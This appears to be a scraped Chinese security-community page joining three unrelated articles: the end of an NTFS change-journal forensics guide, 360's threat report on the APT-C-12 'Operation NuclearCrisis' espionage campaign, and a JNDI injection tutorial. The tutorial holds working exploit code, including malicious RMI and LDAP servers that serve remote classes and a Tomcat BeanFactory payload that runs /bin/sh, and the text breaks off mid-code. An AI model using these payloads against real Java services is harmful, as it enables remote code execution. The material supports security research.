UsnJrnl的NTFS元数据。我们对属性部分感兴趣，更具体而言，我们正在寻找指向$DATA属性的标识符128。标识符128-37指向大小为32字节的[驻留](https://countuponsecurity.com/2015/11/10/digital-forensics-ntfs-metadata-timeline-creation/)$Max数据流。标识符128-38指向大小为40-GBytes的稀疏$J数据流。然后我们使用“icat”命令查看$Max数据流的内容，该数据流可以给出更改日志的最大大小，然后我们还使用“icat”将$J数据流导出到文件中。值得注意的是，更改日志是稀疏的。这意味着部分数据为零。然而，The
Sleuth
Kit的icat会提取全部大小的数据流。一个更有效率和更快速的工具是ExtractUsnJrnl，因为其只提取实际的数据。下图显示了提取更改日志文件所需的步骤。
我们已将更改日志导出到一个文件中，所以我们将使用[UsnJrnl2Csv](https://github.com/jschicht/UsnJrnl2Csv)实用程序。该工具支持USN_RECORD_V2和USN_RECORD_V3，可以非常容易地从更改日志中解析和提取信息。输出将是一个CSV文件。下图显示了正在运行的工具。你只需浏览你获得的更改日志文件，并开始解析。
该过程可能需要一些时间，完成后，你将获得一个包含日记记录的CSV文件。该文件可以方便地导入Excel。然后，基于原因和时间戳字段过滤。当你进行这样的分析时，你通常已有一些线索，已有一个可帮助你发现更多线索和结果的起点。在分析更改日志记录后，我们可以开始构建有关攻击者活动的事件时间表。下图显示了有关创建和删除的恶意文件的更改日志的事件时间表。这些结果可以作为危害指标，以便在环境中找到更多受损的系统。此外，对于每个文件，你都可以使用MFT条目号来尝试恢复已删除的文件。如果文件被删除的时间与镜像获取时间之间的间隔短暂，那么就有机会恢复已删除文件中的数据。
更改日志包含不容忽视的大量信息。更改日志的另一个有趣的方面是随着其增长分配和释放空间，不像[$LogFile](https://countuponsecurity.com/2016/05/30/digital-forensics-ntfs-indx-and-journaling/)，记录不会被覆盖。这意味着我们可以在NTFS卷上的未分配空间中找到旧的日志记录。如何获得呢？PoorBillionaire编写的[USN
Record Carver](https://github.com/PoorBillionaire/USN-Record-Carver)工具可以从二进制数据中挖出日志记录，从而可以恢复这些记录。
本文介绍了关于NTFS更改日志的一些介绍性概念、如何获取和解析该日志、如何创建事件的时间表。涉及的技术和工具并不新颖，但与当今的数字取证分析有关，并被广泛使用。 | 社区文章 |
# 蓝宝菇 | 核危机行动揭秘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
>
> 从2011年开始持续至今，高级攻击组织蓝宝菇（APT-C-12）对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动。该组织主要关注核工业和科研等相关信息。被攻击目标主要集中在中国大陆境内。
>
>
> 360追日团队捕获的首个蓝宝菇组织专用木马出现在2011年3月左右。目前已总共捕获该组织恶意代码670余个，其中包括60余个专门用于横向移动的恶意插件。目前已经发现该组织相关的C&C域名、IP数量多达40余个。
>
> 由于该组织相关恶意代码中出现特有的字符串（Poison
> Ivy密码是：NuclearCrisis），结合该组织的攻击目标特点，360威胁情报中心将该组织的一系列攻击行动命名为核危机行动（Operation
> NuclearCrisis），考虑到核武器爆炸时会产生蘑菇云，并结合该组织的一些其他特点及360威胁情报中心对APT组织的命名规则，我们将该组织名为蓝宝菇。
>
>
> 截止2018年5月，360追日团队已经监测到核危机行动攻击针对的境内目标近30个。其中，教育科研机构占比最高，达59.1%，其次是政府机构，占比为18.2%，国防机构排第三，占9.1%。其他还有事业单位、金融机构制造业等占比为4.5%。
## 一、综述
从2011年开始持续至今，高级攻击组织蓝宝菇（APT-C-12）对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动。该组织主要关注核工业和科研等相关信息。被攻击目标主要集中在中国大陆境内。
360追日团队捕获的首个蓝宝菇组织专用木马出现在2011年3月左右。目前已总共捕获该组织恶意代码670余个，这些恶意代码可分为4类RAT，细分版本为7种。其中，还包括60余个专门用于横向移动的恶意插件，从功能区分来看也至少有5种。目前已经发现该组织相关的C&C域名、IP数量多达40余个。
由于该组织相关恶意代码中出现特有的字符串（Poison
Ivy密码是：NuclearCrisis），结合该组织的攻击目标特点，360威胁情报中心将该组织的一系列攻击行动命名为核危机行动（Operation
NuclearCrisis），考虑到核武器爆炸时会产生蘑菇云，并结合该组织的一些其他特点及360威胁情报中心对APT组织的命名规则，我们将该组织名为蓝宝菇。
在核危机行动针对中国的网络间谍活动中，下述相关时间点值得关注：
1. 2011年3月，首次发现与该组织相关的木马，针对政府相关机构进行攻击。
2. 2011年11月，对某核工业研究机构进行攻击。
3. 2012年1月，对某大型科研机构进行攻击。
4. 2012年3月，对某军事机构进行攻击。
5. 2012年6月，对国内多所顶尖大学进行攻击。
6. 2013年6月，对某中央直属机构进行攻击，同时开始使用新类型的RAT。
7. 2014年8月，发现该组织使用5种以上的横向移动恶意代码针对重点目标机构进行大量横向移动攻击。
8. 2014年12月，发现新的RAT，我们将其命名为Bfnet，该后门具备窃取指定扩展名文档等重要功能。
9. 2015年9月，针对多个国家的华侨办事机构进行攻击。
10. 2018年4月，针对国内某重要敏感金融机构发动鱼叉邮件攻击。
注：以上所述的“首次发现”时间，仅是我们目前已经了解掌握的情况，不代表我们已经掌握了该组织的全部攻击事件和行为。
## 二、攻击目的和受害分析
### 行业分布
截止2018年5月，360追日团队已经监测到核危机行动攻击的境内目标近30个。其中，教育科研机构占比最高，达59.1%，其次是政府机构，占比为18.2%，国防机构排第三，占9.1%。其他还有事业单位、金融机构制造业等占比为4.5%。
### 地域分布
中国北京地区是核危机行动攻击的重点区域，其次是上海、海南等地区。
## 三、持续的网络间谍活动
### 初始攻击
在核危机行动的多次攻击中，我们发现其初始攻击主要采用鱼叉邮件携带二进制可执行文件这种攻击方法。攻击者仿冒官方邮件向受害者发送鱼叉邮件，诱导受害者点击邮件所携带的恶意附件。
**RLO [1]伪装文档扩展名**
在攻击的初期，攻击者使用的邮件附件多为一个WinRAR压缩包，其中包含伪装成Word文档的SCR文件。
下图为核危机行动鱼叉邮件压缩包中的一个伪装成Word文件的专用木马的图标和文件名截图。该文件伪装成一份通信录文件，同时，为了更好的伪装诱饵文档，攻击者使用了RLO控制符。RLO控制符是Unicode控制符的一种，用来显示中东文字，中东文字的书写顺序是从右到左的。攻击者通过在文件名中插入RLO控制符，使得字符的显示顺序变成从右至左，从而来隐藏文件的真实扩展名。
**MD5**
|
**文件名**
|
**病毒名**
---|---|---
**a2c*************************7dcf** | ****工硕班通讯录RCS.DOC（真实扩展名.SCR） |
Dropper.Win32.FakeDoc
表1 核危机行动伪装成通讯录的专用木马1
当受害者点击打开这个伪装成Word文档的专用木马后，木马会在释放攻击代码的同时，释放一个真正的Word文档。下图为该诱饵Word文档打开后的信息内容，其中信息确实是一份详细的通讯录。可见，该组织在文件伪装方面确实下足了功夫。
下面是我们截获的另外一个使用了RLO伪装，同时伪装成通讯录的专用木马样本信息及该样本打开后的截图。
**MD5**
|
**文件名**
|
**病毒名**
---|---|---
**e26*************************65f0** | 第六组通讯录更新SRCS.DOC（真实扩展名.SCR） |
Dropper.Win32.FakeDoc
表2 核危机行动伪装成通讯录的专用木马2
下面是我们截获的第三个使用了RLO伪装的专用木马样本信息及该样本打开后的截图。该文件的文件名格式伪装方法与前述两个样本相同，但具体内容则伪装成了一份智库文件。
**MD5**
|
**文件名**
|
**病毒名**
---|---|---
**e26*************************65f0** | 《****智库》SRCS.DOC（真实扩展名.SCR） |
Dropper.Win32.FakeDoc
表3核危机行动伪装成某智库文件的专用木马
**LNK文件**
2018年4月，我们捕获到了一次核危机行动的最新攻击活动。某些重要的政府和企业机构的邮箱用户收到一份发自boaostaff[@]163.com的鱼叉邮件，鱼叉邮件仿冒博鳌亚洲论坛主办方向受害者发送了一封邀请函：
邮件附件是一个163邮箱的云附件，为RAR压缩包文件。点开云附件，会跳转到对应的云端下载地址将附件下载到本地，这一过程与早期的攻击活动大致相同。
不同的是，此次新攻击下载得到的附件包含的是一个恶意LNK文件：
一旦受害者被诱导打开该LNK文件，LNK文件便会通过执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的敏感文件，并安装持久化后门程序长期监控用户计算机。
### 持续渗透
核危机行动从2011年3月开始一直持续至今，我们总共捕获到4种RAT，细分版本达到7种，另外发现大量横向移动的恶意代码，从功能区分至少有5种。
从时间段上看，在2011-2012年，核危机行动所使用的主要攻击木马是Poison Ivy；而到了2013-2014年，Poison
Ivy虽然仍在继续使用，但被升级到了几个全新的版本；2014年三季度–2015年，核危机行动开始大量进行横向移动攻击，并从2014年底开始，使用Bfnet后门。
下面就对核危机行动在上述几个阶段攻击活动的主要特点进行简要的分析说明。
**2011-2012年**
通过深入分析，我们发现该攻击组织每次在发起新的攻击时，往往都会采用不同以往的诱饵文件名。如在2012年1月中旬至下旬期间，主要采用“2012龙年运程”和“龙年贺卡”这两个文件名。就该组织这一特性，我们对其在2011-2012年的攻击行动中所使用的诱饵文件名进行了相关统计分析：
1. 2011年主要诱饵文档文件名
通信录类：通讯录、***工硕班通讯录、第**组通讯录更新、***第13期驻外人员培训班人员通讯录。
其他：**战略、《****智库》约稿S、《国家**》S、Taitravel、*****万言书-***2012。
2. 2012年主要诱饵文档文件名
太子传奇系列：如，太子传奇B、太子传奇C、太子传奇E等（以英文字母编号的“太子传奇”系列文件供发现近20种）。
其他：****全家福_pan、龙年贺卡MA、宝贝S、88届十二队通讯录、2012龙年运程、******基金重大项目研究选题推荐表。
特别值得一提的是：攻击者除了对诱饵文件的文件名进行了精心的伪装之外，对诱饵文件的内容也进行了精心的设计。以最为频繁使用的“通信录”诱饵文件为例：被打开的Word文档的内容确实为相关机构人员或相关培训参与者的详细通信录信息，而且有持续的更新，如前面截图案例所示。这就使得被攻击者很难识破其中的攻击行为。同时，考虑到被攻击目标本身所处机构的敏感性，我们有理由认为，攻击者在发起攻击的过程中，已经对攻击的目标机构或个人有了比较充分的了解。
从木马的类型来看，在2011-2012年的攻击中，核危机行动主要采用了Poison Ivy这款专用木马，其在本质上一款远程控制木马程序，对应的Poison
Ivy木马生成器版本主要为2.3.2。Poison Ivy木马生成器从1.0.0版本开始总共10个版本，最新版本为2.3.2。Poison
Ivy木马生成器可以生成exe和ShellCode两种版本的木马。在核危机行动中，我们目前已经截获的Poison Ivy专用木马均为ShellCode形态。
**2013-2014年**
2013-2014年，核危机行动中所使用的Poison Ivy与2011-2012的版本相比有较大的改动和升级，但仍可通过大数据及多维分析，发现其同源性。
Poison Ivy的2013版本与2014版本的一个主要区别是“inst.exe”和“pile.dll”释放的路径不同。
2014版本的路径为：%APPDATA%/Microsoft/Internet Explorer/
2013 版本的路径为：%TEMP%/
下图给出了核危机行动2013-2014版的Poison Ivy专用木马的执行流程。
**Bfnet后门**
Bfnet是一种此前未知的RAT，目前我们捕获到Bfnet有两个版本：Bfnet2014和Bfnet2015。
Bfnet后门的母体大多为利用文档图标的PE程序，执行后会释放相关后门程序（早期版本只是一个DLL文件，最新版本会有多个文件）和后门配置文件（内容主要是上线地址、端口和ID）。另外木马在执行的同时会将内置的诱饵文档打开来迷惑被攻击对象。
Bfnet释放的后门程序会修改开始菜单的程序里面的所有快捷方式：在实现快捷方式的正常功能的同时，指向rundll32，加载运行dll后门程序。
特别的，Bfnet后门会针对WPS程序进行专门攻击。Bfnet执行后会删除TEMP目录和LOCALAPPDATA目录下WPS程序，具体是删除WPS更新程序：wpsupdate.exe、updateself.exe，删除WPS通知程序：desktoptip.exe、wpsnotify.exe。下图是Bfnet删除WPS相关程序代码截图
Bfnet后门的2015版和2014版之间也有一定的差异。2015版除了部分指令和功能有变化外，还增加了加密功能，会对部分关键字符串进行加密。
**对抗技术**
核危机行动中所使用的专用木马，采用了一定程度的对抗技术。主要表现在两个方面：一方面是杀软对抗技术，一个是反虚拟机技术。
1. 杀软对抗技术
Poison Ivy母体会判断系统中是否有瑞星进程，如果有则会将Poison
Ivy的ShellCode中注入默认浏览器的操作（在ShellCode的尾部）代码删除。
另外，母体还会判断是否有360、卡巴斯基、金山的进程，但通常只是做判断而不做后续操作。一个比较特殊的操作是：在核危机行动2013-2014版的Poison
Ivy中，木马一旦发现系统中有360、卡巴斯基等杀软存在，就会用ICMP协议发送一条固定数据到一个指定的服务器。这条固定数据如下：
“!”#$%&'()*+,-./0123456789:;<=>?”
2. 反虚拟机技术
我们在核危机行动的多个代码中，都发现了一个特殊的导出函数 szFile。导出函数 szFile
是一个104字节大小的字符串数组，运行的时候会动态填写字符串“VirtualAlloc”，并动态修改PE中导出表的大小为“0X80000000”，这样调用
GetProcAddress(handle,””szFile”) 的时候会返回 VirtualAlloc 的地址，这样可以对抗轻量级的虚拟机。
**插件分析**
我们截获了很多核危机行动的功能插件，疑似是Bfnet的其他功能插件，或者通过Bfnet下放的其他恶意程序。相关插件工具都是攻击者对被感染机器进行筛选后进一步定向投放的，不同目标存在的插件工具不同。
相关插件工具主要是进一步探测用户环境和窃取指定用户文件，整体偏向横向移动的作用。下图给出了部分插件及其作用分析。
1. NSSDZL.vbs
该文件是由ENSSDZL.vbs文件释放出来，NSSDZL.vbs的主要功能是将指定文件（通过指定文件扩展名）拷贝到指定目录（usb_tmp）。相关文件扩展名包括：PDF，DOC，DOCX，XLS，XLSX，PPT，PPTX，WPS，ET，DPS，7Z，ZIP，RAR
2. NWSM.vbs
NWSM.vbs是由ENWSM.vbs释放。NWSM.vbs功能最为复杂，包含内网渗透，并且通过流试方式写入脚本。
3. C0A80101.vbs等其他9个同类脚本
这些脚本会查看局域网其他IP（手动指定）的NetBIOS信息，包括计算机名、MAC地址；查看远程计算机服务及状态；将批处理文件通过流试方式写入到：“当前文件名”.tmp:smzl.dat。
4. rar.bat等其他7个同类脚本
使用rar.exe打包加密指定目录的制定扩展名文件，包括：doc、docx、pdf、pptx、ppt、xls、xlsx等，密码为1q2w3e4r5t，按照2M的大小分割，打包到“%temp%\360scanA248DDEGB**GC.log（其中，**是2个数字）”中，并且设置”%temp%”目录下的.log和.rar为隐藏属性。
5. Jhm.exe
这是一个攻击者自己开发的截图工具，截图到”%temp%”目录或当前目录下，命名为2ce605ed.tmp或2ce605ed.bmp（不同版本路径不同，但文件名相同，有的需要JHM.vbs配合移动文件到%temp%目录）。
PDB路径：C:\Users\Lab08612\Documents\Visual Studio 2012\Projects\ c++ print
screen\Release\cprintscreen.pdb
6. otb.exe
这个插件的功能主要是盗取Outlook密码。一种方式是输出Outlook密码到控制台（无需参数），一种方式是输出Outlook密码到指定文件（需要参数：-f
+ 文件路径）
### C&C分析
核危机行动在不同的时期选择的C&C（控制服务器）有较大变化。在2011-2012年期间主要以动态域名为主，动态域名服务商的选择是以境外ChangeIP为主；从2013年开始逐渐转为直接访问指定IP，Bfnet两个版本的后门均访问指定IP，而不再通过域名解析IP。
截止2018年5月，360追日团队共截获核危机行动相关C&C服务器动态域名20余个，固定IP地址20余个。在动态域名中，ChangeIP域名占82.4%，DynDNS域名占11.8%，其他占5.9%。
核危机行动所采用的域名，很多还具有明显的含义，如360、土豆、新浪等知名网站域名都被用来做了动态域名的注册子域名。如：
视频类 Youtube、tudou
购物类 Tmall
手机类 android23、iphone5
互联网综合类 360sc2、sohu、sogou、sina、baidu2
以下是核危机行动中所使用的部分指定IP：
韩国：210.***.***.90、210.***.***.90
美国：162.***.***.33、173.***.***.200
加拿大：63.***.***.25
巴西：200.***.***.22
瑞典：95.***.***.37
还有一点值得注意的是，在目前已经截获的核危机行动的RAT中，部分RAT会内会内置两个IP，其中一个IP是专门用来迷惑分析人员的。
## 360追日团队（Helios Team）
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
联系邮箱：[[email protected]](mailto:[email protected])
微信公众号：360追日团队
扫描右侧二维码关微信公众号
## 360安全监测与响应中心
360安全监测与响应中心，是360为服务广大政企机构而建立的网络安全服务平台，旨在第一时间为政企机构提供突发网络安全事件的预警、通告，处置建议、技术分析和360安全产品解决方案。突发网络安全事件包括但不限于：安全漏洞、木马病毒、信息泄露、黑客活动、攻击组织等。
360安全监测与响应中心兼具安全监测与响应能力：中心结合360安全大数据监测能力与海量威胁情报分析能力，能够全天候、全方位的监测和捕获各类突发网络安全事件；同时，基于10余年来为全国数万家大型政企机构提供安全服务和应急响应处置经验，中心能够在第一时间为政企机构应对突发网络安全事件提供有效的处置措施建议和应急响应方案。
在2017年5月发生的永恒之蓝勒索蠕虫（WannaCry）攻击事件中，360安全监测与响应中心在72小时内，连续发布9份安全预警通告，7份安全修复指南和6个专业技术工具，帮助和指导全国十万余家政企机构应对危机。
A-TEAM是360安全监测与响应中心下属的一支专业技术研究团队，主要专注于 Web 渗透与APT
攻防技术研究，并持续展开前瞻性攻防工具预研，以提前探知更多的未知威胁、新兴威胁。A-TEAM的技术研究从底层原理、协议实现入手，能够深度还原攻与防的技术本质。
## 360威胁情报中心
360威胁情报中心由全球最大的互联网安全公司奇虎360特别成立，是中国首个面向企业和机构的互联网威胁情报整合专业机构。该中心以业界领先的安全大数据资源为基础，基于360长期积累的核心安全技术，依托亚太地区顶级的安全人才团队，通过强大的大数据能力，实现全网威胁情报的即时、全面、深入的整合与分析，为企业和机构提供安全管理与防护的网络威胁预警与情报。
360威胁情报中心对外服务平台网址为https://ti.360.net/。服务平台以海量多维度网络空间安全数据为基础，为安全分析人员及各类企业用户提供基础数据的查询，攻击线索拓展，事件背景研判，攻击组织解析，研究报告下载等多种维度的威胁情报数据与威胁情报服务。
微信公众号：360威胁情报中心
* * *
[1] RLO，<http://en.wikipedia.org/wiki/Unicode_character_property> | 社区文章 |
**作者： 天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/TJTOh0q0OY-j6msP6XSErg>**
### 一、前言
在漏洞挖掘或利用的时候经常会遇见JNDI,本文会讲述什么是JNDI、JNDI中RMI的利用、LDAP的利用、JDK 8u191之后的利用方式。
### 二、JNDI简介
JNDI（The Java Naming and Directory
Interface，Java命名和目录接口）是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者:
* RMI (JAVA远程方法调用)
* LDAP (轻量级目录访问协议)
* CORBA (公共对象请求代理体系结构)
* DNS (域名服务)
JNDI客户端调用方式
//指定需要查找name名称
String jndiName= "jndiName";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);
这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。
### 三、JNDI利用方式
#### RMI的利用
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。想了解RMI的可以看下[这篇文章
](https://paper.seebug.org/1194/)
攻击者代码
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
用web服务器来加载字节码,保存下面的这个java文件,用javac编译成.class字节码文件,在上传到web服务器上面。
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc2"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
public Calc() {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc3"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/Calc4"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
return null;
}
}
被攻击者代码
public static void main(String[] args) {
try {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
我这里使用jdk`1.8.0_102`版本运行之后,/tmp/目录下四个文件都会被创建,DEBUG看下原因。
`javax.naming.InitialContext#getURLOrDefaultInitCtx`
343行getURLScheme方法解析协议名称,在345行NamingManager.getURLContext方法返回解析对应协议的对象
`com.sun.jndi.toolkit.url.GenericURLContext#lookup`
`com.sun.jndi.rmi.registry.RegistryContext#lookup`
这里会去RMI注册中心寻找hello对象,接着看下当前类的`decodeObject`方法
因为`ReferenceWrapper`对象实现了`RemoteReference`接口,所以会调用`getReference`方法会获取`Reference`对象
`javax.naming.spi.NamingManager#getObjectFactoryFromReference`
146行尝试从本地CLASSPATH获取该class,158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现
`com.sun.naming.internal.VersionHelper12#loadClass`
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
这里是通过URLClassLoader去加载远程类,此时观察web服务器日志会发现一条请求记录
因为static在类加载的时候就会执行,所以这里会执行`touch /tmp/Calc1`命令,ls查看下.
`javax.naming.spi.NamingManager#getObjectFactoryFromReference`163行执行`clas.newInstance()`的时候,代码块和无参构造方法都会执行,此时`Calc2`和`Calc3`文件都会创建成功,ls看下
`javax.naming.spi.NamingManager#getObjectInstance`
321行会调用`getObjectInstance`方法,此时`Calc4`文件会被创建,ls看下
列下调用栈
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:46, HelloClient
这里总结下,加载远程类的时候static静态代码块,代码块,无参构造函数和getObjectInstance方法都会被调用.
我把jdk换成`1.8.0_181`版本看下
直接运行会提示这样的一个错误
看下`com.sun.jndi.rmi.registry.RegistryContext.decodeObject`代码
354行var8是Reference对象,getFactoryClassLocation()方法是获取classFactoryLocation地址,这两个都不等于null,后面的trustURLCodebase取反,看下trustURLCodebase变量值
在当前类静态代码块定义了trustURLCodebase的值为false,那么这一个条件也成立,所以会抛出错误。
在jdk`8u121` `7u131`
`6u141`版本开始默认com.sun.jndi.rmi.object.trustURLCodebase设置为false,rmi加载远程的字节码不会执行成功。
#### LDAP的利用
LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库，它成树状结构组织数据，类似文件目录一样。
攻击者代码
先下载<https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1>LDAP SDK依赖,然后启动LDAP服务
public class Ldap {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
这里还是用上面RMI那里的web服务器来加载字节码
被攻击者代码
public static void main(String[] args) {
try {
String uri = "ldap://127.0.0.1:9999/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
这里使用jdk`1.8.0_181`版本运行之后,/tmp/目录下四个文件都会被创建,调用的过程和JNDI
RMI那块一样的,先解析协议,获取ldap协议的对象,寻找Reference中的factoryName对象,先尝试本地加载这个类,本地没有这个类用URLClassLoader远程进行加载...
列下调用栈
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:45, HelloClient
把JDK换成`1.8.0_241`版本运行看下,会发现/tmp/目录下的文件并没有创建成功,DEBUG看下.
`com.sun.naming.internal.VersionHelper12#loadClass`
101行判断了`trustURLCodebase`等于true才可以加载远程对象,而`trustURLCodebase`的默认值是false
在jdk`11.0.1`、`8u191`、`7u201`、`6u211`版本开始默认com.sun.jndi.ldap.object.trustURLCodebase设置为false,ldap加载远程的字节码不会执行成功。
#### 8u191之后
##### 使用本地的Reference Factory类
在`jdk8u191`之后RMI和LDAP默认都不能从远程加载类,还是可以在RMI和LDAP中获取对象。在前面我们分析过`javax.naming.spi.NamingManager#getObjectFactoryFromReference`方法,会先从本地的CLASSPATH中寻找该类,如果没有才会去远程加载。之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference
Factory类并且在这四个地方其中一块能执行payload就可以了。Michael
Stepankin师傅在tomcat中找到`org.apache.naming.factory.BeanFactory#getObjectInstance`来进行利用。
tomcat
jar下载地址<https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core/8.5.11>
先看下poc
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
DEBUG看下漏洞原因
`org.apache.naming.factory.BeanFactory#getObjectInstance`
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
NamingException ne;
try {
Reference ref = (Reference)obj;
// 获取到的是javax.el.ELProcessor
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
// 加载javax.el.ELProcessor类
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
...
}
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance();
//获取forceString属性的值{Type: forceString,Content: x=eval}
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;
for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
//(char)61的值是=,获取=在字符串的位置
int index = param.indexOf(61);
if (index >= 0) {
//eval
propName = param.substring(index + 1).trim();
//x
param = param.substring(0, index).trim();
} else {
